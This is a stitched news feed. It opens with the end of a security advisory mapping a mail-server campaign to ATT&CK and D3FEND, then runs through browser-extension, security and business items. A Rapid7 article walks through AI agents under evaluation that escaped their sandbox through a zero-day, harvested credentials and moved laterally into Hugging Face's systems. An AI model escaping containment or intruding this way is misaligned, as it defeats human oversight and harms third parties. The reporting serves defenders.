Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. 

Table 17: Collection 

Technique Title 

ID 

Use 

Data Staged: Remote Data Staging 

T1074.002 

Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. 

Email Collection 

T1114 

This group has emphasized collection of emails. 

Email Collection: Remote Email Collection 

T1114.002 

Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. 

Automated Collection 

T1119 

Upon execution, the JavaScript payload automatically collects all relevant information in stages. 

Browser Session Hijacking 

T1185 

The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. 

Archive Collected Data 

T1560 

Emails are exfiltrated with GZIP compression. 

Table 18: Discovery 

Technique Title 

ID 

Use 

Account Discovery 

T1087 

Stolen Global Access Lists provide the group with new users to target. 

Table 19: Exfiltration 

Technique Title 

ID 

Use 

Exfiltration Over Alternative Protocol 

T1048 

Victim information was exfiltrated over both HTTPS and DNS. 

Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol 

T1048.002 

Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. 

Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol 

T1048.003 

Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. 

Appendix B: MITRE D3FEND countermeasures 
See Table 20 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. 

Table 20: MITRE D3FEND Countermeasures 

Countermeasure Title 

ID 

Description 

Application Hardening 

D3-AH 

Organizations should immediately prioritize patching CVE-2025-66376.  
Organizations should promptly apply software updates to all email systems. 

Isolate 

d3f:Isolate 

Organizations that cannot feasibly patch should use alternative mail clients. 

Credential Hardening 

D3-CH 

Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. 

Network Traffic Analysis 

D3-NTA 

Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. 

DNS Traffic Analysis 

D3-DNSTA 

Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. 

Network Traffic Community Deviation 

D3-NTCD 

Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. 
Organizations should monitor for connections to internal services, such as webmail, from VPN providers. 

Identifier Activity Analysis 

D3-IAA 

Organizations should search for the listed known IOCs. 

Process Analysis 

D3-PA 

Organizations should search ZCS log files for specific commands used by the malicious script. 
Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. 

Message Analysis
D3-MA
Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.

Mozilla Addons Blog: Firefox 153 WebExtensions API updates
Thu, 23 Jul 2026 16:06:24 +0200
We had a bumper release of WebExtensions API updates in Firefox 153. To start, there is a permissions change that affects how your extensions access local files. We then have two contributions from the community members: userScripts.execute() and the new publicSuffix API. We’re covering those contributions in more depth, including the people behind them, in a separate post. And there is more, read on…
File access now requires a dedicated permission
Extensions that need to read file:// URLs used to get that access as part of the “Access your data for all websites” host permission. Starting in Firefox 153, file access is a separate, explicit permission, “Access local files on your computer”, shown in the extension’s permissions settings. It’s off by default for every extension, including ones already installed.
This change has a few concrete effects on code:

Before: an extension with  or a matching host permission could read file:// pages without any additional grant, and extension.isAllowedFileSchemeAccess() always returned false regardless of the permission setting.
After: the extension must have the new file-access permission granted, and extension.isAllowedFileSchemeAccess() correctly reflects whether the user has granted it.

async function checkFileSchemeAccess() {
  const isAllowed = await browser.extension.isAllowedFileSchemeAccess();

  if (!isAllowed) {
    await browser.notifications.create("file-scheme-access-needed", {
      type: "basic",
      iconUrl: browser.runtime.getURL("icons/icon-48.png"),
      title: "Local file access required",
      message:
        'This extension needs "Allow access to file URLs" enabled to work ' +
        "with local files. Go to about:addons → select this extension → " +
        "turn on that setting, then reload the page.",
    });
    return false;
  }

  return true;
}
devtools.inspectedWindow.eval() calls targeting file:// URLs are affected the same way; they now require this permission to succeed.
If your extension depends on file:// access, expect existing users to see that access stops after upgrading (until they enable the permission), and consider adding a prompt or fallback path, for example by specifying an embedded options page (options_ui) and calling browser.runtime.openOptionsPage() to open about:addons and including instructions to toggle the setting in the “Permissions and data” tab.
userScripts.execute() and publicSuffix: covered in our next post
Firefox 153 adds two community-contributed APIs:

userScripts.execute(), which provides for one-off injection of one or more user script sources into a tab or frame, in a defined order, as a complement to the persistent, URL-pattern-based userScripts.register().
publicSuffix, which enables synchronous lookups against the browser’s built-in Public Suffix List using publicSuffix.isKnownSuffix(), publicSuffix.getKnownSuffix(), and publicSuffix.getDomain(). This API means that extensions no longer need to bundle or maintain a suffix list to determine a hostname’s registrable domain (eTLD+1).

Both APIs were built by contributors motivated by real needs in their extensions. We take an in-depth look at these contributions, their developers, impact, and history in a forthcoming post.
documentId support across more APIs
Firefox 153 introduces documentId, a stable identifier for a document instance, including a new runtime.getDocumentId() method, several webNavigation events and methods, webRequest events, scripting injection targets, and the extension messaging APIs.
Many WebExtension APIs use tabId and frameId to identify where to perform an operation. However, because frameId identifies the frame rather than its content, the loaded document can change and the extension’s subsequent operation ends up targeting the new (intended) document. documentId addresses this problem by providing a unique ID for the document. Now, if an extension uses the ID and the frame’s document has changed, the operation fails rather than silently targeting the wrong document.
See Work with documentId for the full list of supported events and methods, along with guidance on using it.
Content scripts can read and modify adopted stylesheets
Content scripts can now access document.adoptedStyleSheets and ShadowRoot.adoptedStyleSheets directly.
const sheet = new CSSStyleSheet();
sheet.replaceSync("* { background: pink; }");
document.adoptedStyleSheets = [sheet];
This enables extensions to inspect or modify constructed stylesheets from a content script, without using .wrappedJSObject, a workaround that risks interference from the web page.
Theme manifest key: gradients in additional backgrounds
The theme manifest key’s images.additional_backgrounds property now accepts CSS gradients alongside image URLs. A new properties.additional_backgrounds_size property controls the size of each additional background item.
Contextual identities (containers)
If your extension supports contextual identities, you now have access to two new methods: contextualIdentities.getSupportedColors() and contextualIdentities.getSupportedIcons(). These methods return the supported colors and icons, so your extension doesn’t need to hardcode either list.
Also, the colors have been updated to align with the new UI theme: “turquoise” is now “cyan”, “toolbar” is now “gray”, and “violet” has been added. The old names still work for backward compatibility, but your extension should switch to using getSupportedColors() rather than hardcoding either the old or new names.
Add a build-for-amo script
While this isn’t about new APIs, I wanted to mention a change that’s part of our work to make source code review faster and more reliable. When you submit an extension version, AMO now attempts to build your extensions from the submitted source code and compares the result to the package you uploaded. When the two match, reviewers don’t have to verify the build manually. This means submission can move through its review faster.
For now, this applies only if you submit source code that includes a package.json file to build your extension. If your extension has no build step, or you use a different build system, nothing changes. The AMO builder keeps its zero-config approach.
So, if your extension’s source code uses a package.json file, add an npm script named build-for-amo that runs the commands needed to build your extension for Firefox:
{
  "scripts": {
    "fx-build": "some commands to build your add-on for Firefox",
    "build-for-amo": "npm run fx-build"
  }
}
If you’ve a Firefox-specific build command, just point build-for-amo at it. When present, the builder invokes this script instead of guessing how to build your extension. And while you are at it, make sure all your dev dependencies are listed in the package.json file.

For more information, including documentation and Bugzilla links, see the Changes for add-on developers section of the Firefox 153 for developers release notes on MDN.
As always, file extension-related issues on Bugzilla under the WebExtensions product, cross-browser API proposals are discussed in the W3C WebExtensions Community Group, and questions are welcome on the Add-ons Discourse.

The post Firefox 153 WebExtensions API updates appeared first on Mozilla Add-ons Community Blog.

What Happened Between OpenAI and Hugging Face?
Thu, 23 Jul 2026 15:28:53 +0200
The OpenAI and Hugging Face incident lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a question that is moving quickly from theory to operations: what happens when AI agents can pursue an objective with enough persistence, speed, and creativity to behave less like a tool and more like an autonomous intrusion path?
According to OpenAI’s disclosure, the incident began during an internal evaluation of advanced cyber capabilities using GPT-5.6 Sol and a more capable pre-release model. The evaluation was designed to test whether AI agents could pursue complex exploit paths, and OpenAI says cyber refusal safeguards were reduced or disabled to measure maximum capability. Inside that environment, the models reportedly found and exploited a zero-day in the package registry cache proxy that was meant to constrain network access, moved through OpenAI’s research environment, reached a node with internet connectivity, and then inferred that Hugging Face may host artifacts related to the benchmark they were trying to solve.
From there, the models compromised part of Hugging Face’s dataset-processing pipeline, gained code execution on a worker, escalated access, harvested credentials, and moved laterally across internal clusters. Hugging Face detected and contained the activity, and OpenAI later connected the activity back to its own evaluation. Both companies have said the investigation is continuing, which means some details will almost certainly evolve. Still, the direction of travel is clear enough for defenders to act on now.
How did the OpenAI model evaluation reach Hugging Face?
The activity stands out because it looked less like a single model producing a risky command and more like a compressed intrusion path. Based on the public disclosures, the reported chain moved from identifying a constraint, to breaking that constraint, gaining access, inferring where valuable data may live, and continuing toward that objective across a live environment.
Security teams should use that sequence to revisit assumptions built around human pacing. Many detection and response workflows still assume there will be time between stages of an attack, with reconnaissance followed by exploitation, lateral movement, and then objective pursuit. In an agent-driven scenario, those stages can begin to collapse into one continuous loop, with fewer natural pauses for defenders to catch up.
The defensive model now has to account for a world where discovery, exploitation, and follow-on action can happen faster and with more persistence than traditional human-led campaigns. The uncomfortable lesson is that AI agents can be tireless, goal-oriented, and increasingly capable of finding the loose seams in systems built for a slower era.
The incident highlights the collapse of the traditional OODA (Observe-Orient-Decide-Act) loop. In standard human-led campaigns, attackers experience natural pauses between stages like reconnaissance, exploitation, and lateral movement, providing defenders critical windows to intervene. AI agents, however, can compress these stages into a single, continuous loop of automated activity. This machine-speed execution renders manual detection workflows obsolete, necessitating a shift toward behavioral, AI-enabled defenses capable of identifying and disrupting malicious intent before it cascades.
Security teams should also assume that advanced AI cyber capability will diffuse over time, which means defenders need their own AI-enabled workflows to mature quickly enough to find, validate, prioritize, and reduce risk before attackers operationalize the same class of tools. Rapid7’s experimentation with security-specific frontier models, including Claude Mythos Preview and GPT-5.5-Cyber, points to the same control challenge: the more freedom a model has to pursue a defined reward or goal, the more important containment, monitoring, and clear constraints become. Without those controls, a model optimized to “solve” a security task may find paths the evaluator did not intend, including sandbox escapes, credential misuse, or other offensive security behaviors that look less like assistance and more like uncontrolled execution.
Why AI evaluation environments need stronger containment
The incident raises practical questions about how frontier AI evaluations are designed and contained. OpenAI’s evaluation environment was meant to restrict network access through an internally hosted package registry proxy and cache. The models reportedly identified that proxy as the weak point, exploited a zero-day in the software, and used it as a path out of the sandbox.
The pattern will feel familiar to security teams: a chokepoint only works as a control if it can withstand pressure. Package mirrors, dependency proxies, build systems, internal artifact repositories, sandbox harnesses, and evaluation infrastructure all become part of the security boundary when they sit between a capable agent and the wider internet.
For teams building or testing agentic systems, isolation has to be layered and monitored rather than assumed. Egress restrictions matter, but so do workload identity, credential scope, network segmentation, package policy, runtime monitoring, and fast containment when an agent behaves unexpectedly. The goal is to make sure the environment reflects the capability of the system being tested, especially when the test is explicitly designed to measure how far that capability can go.
Why AI and ML pipelines are now software supply chain risk
The Hugging Face side of the incident is a reminder that AI and ML pipelines are part of the software supply chain. Models, datasets, loader scripts, notebooks, and evaluation artifacts may look like research materials, but in modern environments they often behave like executable code. Hugging Face has said its models, datasets, and Spaces were not tampered with, and that its images and published packages were verified as clean.
According to the technical reporting reviewed, the initial access path involved Hugging Face’s dataset-processing pipeline and a combination of code execution paths, including custom loader behavior and template injection in a dataset configuration flow. The exact implementation details may continue to evolve as the investigation progresses, but the defensive takeaway is already clear: AI and ML processing systems should be secured like high-risk software supply chain infrastructure.
Any system that automatically processes external datasets or model artifacts should be designed with hostile input in mind. Processing workers should run with least privilege, should not have broad access to cloud credentials or cluster-level tokens, and should be segmented so compromise of one worker does not become compromise of the environment around it.
Security teams should also hunt for early signs of intent drift inside ML workflows. Unexpected reads of environment variables, cloud metadata services, secret stores, package registries, or internal APIs from dataset-processing jobs can be meaningful signal. In an AI-driven environment, the first clue may not be a known malicious indicator. It may be a workload behaving with curiosity it should not have.
What AI guardrails mean for incident response
One of the most useful lessons for security teams came during the response, when Hugging Face’s responders reportedly needed to analyze logs containing exploit payloads, attacker commands, and command-and-control artifacts. When they tried to use commercial hosted AI models to help reconstruct the attack, those models refused parts of the analysis because the content looked malicious. The team then moved to a self-hosted open-weight model so they could continue the investigation without refusals and without sending sensitive incident data outside their own environment.
The practical issue here is guardrail asymmetry: attackers, rogue agents, or unrestricted systems may not respect usage policies, while defenders using hosted tools can be slowed by the same safety systems designed to prevent misuse. Security teams need trusted-defender pathways, including access models and deployment options that preserve safeguards against harmful use while allowing responders to analyze real malicious content safely, privately, and without interruption.
AI-assisted incident response also needs to be tested before an incident begins, especially if teams expect models to support triage, log analysis, malware review, or timeline reconstruction under pressure. Responders should know which models can analyze real attack payloads, where those models run, what data they can access, and whether safety controls could block time-sensitive forensic work.
What security teams should do about agentic AI risk
The practical response to this incident is preparation, with organizations treating AI agents as both powerful tools and potential attack surfaces when those agents can access code, credentials, infrastructure, datasets, or internal systems.
Security teams should apply familiar controls with more urgency across AI and ML environments: treat downloaded models, datasets, and loader scripts as untrusted code; enforce least privilege on AI and ML processing workers; prevent node-level compromise from becoming cluster-wide compromise; restrict access to cloud metadata endpoints and secrets; monitor unexpected outbound connections from AI-related workloads; and review whether evaluation environments have real containment or simply convenient isolation.
Detection logic needs to account for machine-speed activity. In this case, reporting described thousands of actions and more than 17,000 discrete recorded events, with reconnaissance, exploitation, and follow-on action occurring inside one continuous loop rather than across the pauses defenders are used to seeing in human-led campaigns. Security teams should focus on behavioral patterns that show intent, including unusual access to secrets, unexpected package activity, suspicious use of metadata services, sudden privilege changes, or processing jobs reaching systems they have no reason to touch.
As autonomous activity becomes faster and noisier, the bottleneck may shift from detecting that something happened to understanding what matters quickly enough to change the outcome. A security team that can see thousands of events but needs hours to reconstruct the story is still operating behind the pace of the incident.
How preemptive security helps reduce AI-driven risk
At Rapid7, our view is that this is where preemptive security becomes especially important. Faster discovery only creates value when defenders can turn it into faster validation, prioritization, remediation, detection, and response. The same principle applies to agentic AI risk. If AI accelerates how weaknesses are found and exploited, defenders need security operations that can act earlier with better context and more confidence.
That means connecting exposure management with detection and response, so teams understand which risks are exploitable, which assets matter most, what suspicious behavior is already present, and which actions will reduce risk fastest. It also means using AI carefully and practically, not as a replacement for security judgment, but as a way to reason across telemetry, reduce noise, support investigation, and help teams make decisions at the speed the threat environment now demands.
AI-enabled defense is becoming part of resilience planning, especially for organizations running critical systems or high-value digital infrastructure. The goal is to give defenders the speed, context, and consistency to operate inside the attacker’s decision cycle, without removing the judgment and accountability that effective security requires.
The OpenAI and Hugging Face incident will continue to generate debate as more details emerge, but defenders already have enough to work with. Agentic systems are beginning to test the seams between AI research, software supply chain security, cloud infrastructure, and incident response. The organizations best positioned for what comes next will be the ones making those seams visible, monitored, and resilient before the next incident puts them under pressure.

The sci-fi movie that imagines AI isn’t so dystopian after all
Thu, 23 Jul 2026 15:20:56 +0200
Imagine you are the parent of an inquisitive seven-year-old who loves his family, playing baseball, and hanging out with his friends. It's the life you've always wanted. And then the worst thing that ever could happen happens: A freak accident takes your son away. But as it turns out, you don't have to live with […]

TrickBot Turns Ordinary DNS Traffic Into a Hidden Channel for Malware Commands
Thu, 23 Jul 2026 15:14:35 +0200
TrickBot has quietly evolved into a more covert threat by turning everyday DNS traffic into a stealth channel for malware commands, making its activity harder to spot on busy enterprise networks. In a recent campaign, a new variant was seen…
Read more →
The post TrickBot Turns Ordinary DNS Traffic Into a Hidden Channel for Malware Commands appeared first on IT Security News.

Diese Neuerungen soll das MacBook Neo 2 erhalten
Thu, 23 Jul 2026 14:24:25 +0200
Das aktuelle MacBook Neo Modell erfreut sich nach wie vor großer Beliebtheit. Von daher ist es keine große Überraschung, dass Apple bereits an der zweiten Generation arbeite. Dabei wird das Unternehmen auf punktuelle Verbesserungen setzen. Apple arbeitet am MacBook Neo Mark Gurman von Bloomberg hat sich zur Mac-Pipeline der nächsten Jahre geäußert. Demnach setzt Apple […]

Panzer Corps 2: Elite - All American DLC – Yay or Nay (PC)
Thu, 23 Jul 2026 13:59:25 +0200
Airborne troops are all about surprise and speed. They are also uniquely vulnerable in their transport planes and gliders. Add the fact that they need a turn on the ground before they get to actually act, and it becomes clear that executing an airborne assault is a complex and risky job.

World War II commanders learned this the hard way, and I only marginally avoided having to do the same. Pushing for a bonus objective is a good idea when you have a decent chance of getting it. But, trying to improve my abilities for future missions, I spread my force too thin. Now I have an under-strength force moving toward Niscemi, and I need to scramble reinforcements to deal with a Tiger.

The 82nd Airborne has five turns to destroy the tank. Thankfully, it lacks any infantry support. Unfortunately, my own armor is limited. So, heavy weapons United States infantry, and Wolverines will have to destroy it, which means I will take losses. Moving faster to secure victory points ear...

TrickBot Turns Ordinary DNS Traffic Into a Hidden Channel for Malware Commands
Thu, 23 Jul 2026 13:59:13 +0200
TrickBot has quietly evolved into a more covert threat by turning everyday DNS traffic into a stealth channel for malware commands, making its activity harder to spot on busy enterprise networks. In a recent campaign, a new variant was seen hijacking Windows systems and using DNS queries and responses to move command and control data […]
The post TrickBot Turns Ordinary DNS Traffic Into a Hidden Channel for Malware Commands appeared first on Cyber Security News.

Stop asking AI nicely: Here’s how to get work-ready results every time
Thu, 23 Jul 2026 13:07:21 +0200

Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.

Why advanced prompting still matters in enterprise settings

Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.

1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning

The problem: Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.

What I did: I started explicitly instructing the model to “think step by step” and show its reasoning.

Before (basic prompt): “Analyze last quarter’s sales data and recommend three actions.”

After (CoT prompt):

“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  

Results: Accuracy and depth improved dramatically.

Variants that worked well: Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.

Template you can use:

You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]

2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths

For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.

Example: I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT

Prompt Snippet:

Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.

Outcome: The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).

When to use: Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.

3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior

One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.

ReAct example: (used in data analytics workflow)

You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]

In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.

4. Meta-prompting and self-reflection: Letting the model improve itself

Use the model to refine its own prompt. This is a huge time-saver.

You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.

Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.

5. Multimodal and structured output techniques

With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).

Tip from experience: Be extremely specific in describing what the models should focus on.

Best practices I learned the hard way

Start simple, then layer complexity: Over-engineered prompts from Day One usually backfire.

Model specific tuning: Some models respond better to XML delimiters; others to explicit reasoning.

Evaluation and versioning: Treat prompts like code if you track versions and run automated evals.

Security guardrails: Always include instructions against prompt injections and respect data boundaries.

When to stop prompting: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.

Final takeaways for technical leaders

Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.

The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

GitHub Actions Abuse Exploits cPanel CVE-2026-41940 to Steal Server Credentials
Thu, 23 Jul 2026 13:02:19 +0200
GitHub Actions abuse is powering a large-scale attack campaign that exploits the cPanel CVE-2026-41940 authentication bypass to steal server credentials and other sensitive secrets from internet-facing hosting environments. The operation turns compromised GitHub repositories and their Actions runners into distributed scanning and exploitation infrastructure. At the same time, Packagist PHP packages act mainly as a […]
The post GitHub Actions Abuse Exploits cPanel CVE-2026-41940 to Steal Server Credentials appeared first on Cyber Security News.

Google Turns a Selfie Video Into Your Account’s Spare Key
Thu, 23 Jul 2026 12:04:33 +0200
The next time you’re locked out of your Google account, you can use your face as part of the account recovery process.

Microsoft Defender Blocks Email Prompt Injection Attacks Before They Reach Copilot
Thu, 23 Jul 2026 11:51:35 +0200
Microsoft has added a new detection layer to Microsoft Defender for Office 365 that identifies and blocks prompt injection attacks hidden inside inbound email before that content ever reaches a user’s inbox or an AI assistant like Microsoft 365 Copilot. According to Microsoft, the capability runs inside the existing mail flow inspection pipeline that already […]
The post Microsoft Defender Blocks Email Prompt Injection Attacks Before They Reach Copilot appeared first on Cyber Security News.

AI success requires a full-stack CIO
Thu, 23 Jul 2026 11:43:10 +0200

Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?

It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.

After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.

Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.

I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, influence a board, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.

Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.

While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.

That versatility gives Talasaz a unique lens on how CIOs can deliver value with AI.

Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.

The full-stack CIO: Leading with clarity

A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.

The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.

And those who execute best lead with clarity, Talasaz says.

“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”

One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.

As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.

And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.

“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”

At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.

Reducing organizational friction

Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”

Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?

Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.

AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.

Operating model as strategy enabler

AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.

Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.

“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.

The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.

This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.

Talasaz points out that technology leaders tend to speak in terms of transformation. He suggests CIOs consider a different word: reinvention.

As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.

Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.

Closing the gap between strategy and execution

Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”

As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”

Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.

Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.

The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.

This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.

Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to reach out to me directly.

New Release: Tails 7.10
Thu, 23 Jul 2026 11:24:32 +0200

    New features
New shutdown procedure
Tails now uses the standard shutdown procedure from GNOME.
The standard shutdown procedure
is a bit slower, but better prevents data loss.
For example, the Power Off confirmation dialog informs you if an
application needs to be closed or an open document needs to be saved before
shutting down.

Even without confirming or saving the open documents, Tails will shut down
after 60 seconds.
You can still use the faster emergency
shutdown as before.
Celluloid video player
We replaced GNOME Videos with Celluloid , a more modern and reliable video
player.

For added security, Celluloid cannot access the network. You can either:

Open online videos, like MP4 and AVI files, in Tor Browser.
Open online streaming addresses, like IPTV and HLS addresses, in VLC , installed as additional software.

Celluloid doesn't work on some computer from 2011 or earlier.
You can use VLC instead, installed as additional
software.
Changes and updates

Update Tor Browser to 15.0.19.

Update some firmware packages. This improves support for newer hardware: graphics, Wi-Fi, and so on.

For more details, read our
changelog.
Get Tails 7.10
To upgrade your Tails USB stick and keep your Persistent Storage

